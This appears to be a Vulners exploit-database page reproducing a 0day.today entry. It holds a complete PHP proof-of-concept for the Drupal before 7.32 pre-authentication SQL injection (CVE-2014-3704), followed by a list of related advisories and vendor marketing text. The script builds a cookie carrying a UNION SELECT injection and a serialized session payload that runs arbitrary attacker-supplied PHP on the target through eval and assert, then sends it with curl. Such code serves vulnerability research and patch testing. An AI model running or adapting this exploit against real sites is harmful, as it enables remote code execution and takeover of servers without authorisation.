Lucene search
+L

Drupal < 7.32 Pre Auth SQL Injection Vulnerability

🗓️ 04 Nov 2014 00:00:00Reported by Stefan HorstType 
zdt
 zdt
🔗 0day.today👁 140 Views

Drupal < 7.32 Pre Auth SQL Injection Vulnerability po

Related
Code
ReporterTitlePublishedViews
Family
zdt
Drupal 7.31 CORE pre Auth SQL Injection Vulnerability
17 Oct 201400:00
zdt
zdt
Drupal HTTP Parameter Key/Value SQL Injection Vulnerability
18 Oct 201400:00
zdt
zdt
Drupal 7.0 < 7.31 - Drupalgeddon SQL Injection (Admin Session) Exploit
29 Mar 201800:00
zdt
FreeBSD
drupal7 -- SQL injection
15 Oct 201400:00
freebsd
ArchLinux
drupal: pre-auth sql injection
16 Oct 201400:00
archlinux
Gitee
Exploit for SQL Injection in Drupal
6 Oct 202020:54
gitee
Circl
CVE-2014-3704
16 Oct 201400:00
circl
CISA
Drupal Releases Security Advisory
17 Oct 201400:00
cisa
Check Point Advisories
SQL Servers Unauthorized Commands SQL Injection - Ver2 (CVE-2014-3704)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2014-3704
16 Oct 201400:00
cve
Rows per page
<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <[email protected]>
//        and Stefan Esser <[email protected]>
//·
 
include 'common.inc';
include 'password.inc';
 
// set values
$user_id = 0;
$user_name = '';
 
$code_inject = 'phpinfo();session_destroy();die("");';
 
$url = isset($argv[1])?$argv[1]:'';
$code = isset($argv[2])?$argv[2]:'';
 
if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$code|$file]'."\n";
      die();
}
 
if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}
 
if (!empty($code)) {
      if (is_file($code)) {
              $code_inject = str_replace('<'.'?','',str_replace('<'.'?php','',str_replace('?'.'>','',file_get_contents($code))));
      } else {
              $code_inject = $code;
      }
}
 
$code_inject = rtrim($code_inject,';');
$code_inject .= ';session_destroy();die("");';
 
if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}
 
$_SESSION= array('a'=>'eval(base64_decode("'.base64_encode($code_inject).'"))','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert');
$_SESSION['build_info']['args'][0] = &$_SESSION['string'];
 
list( , $session_name) = explode('://', $url, 2);
 
// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');
 
$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();
 
$serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',"batch_form_state|".serialize($_SESSION)));
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('".$serial."','CURLYCLOSE',CHAR(".ord('}').")),'CURLYOPEN',CHAR(".ord('{').")) -- ";
 
$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;
 
$ch = curl_init($url);
 
curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');
 
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));
 
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
 
$output = curl_exec($ch);
 
curl_close($ch);
 
echo $output;

#  0day.today [2018-02-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2014 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.99974
140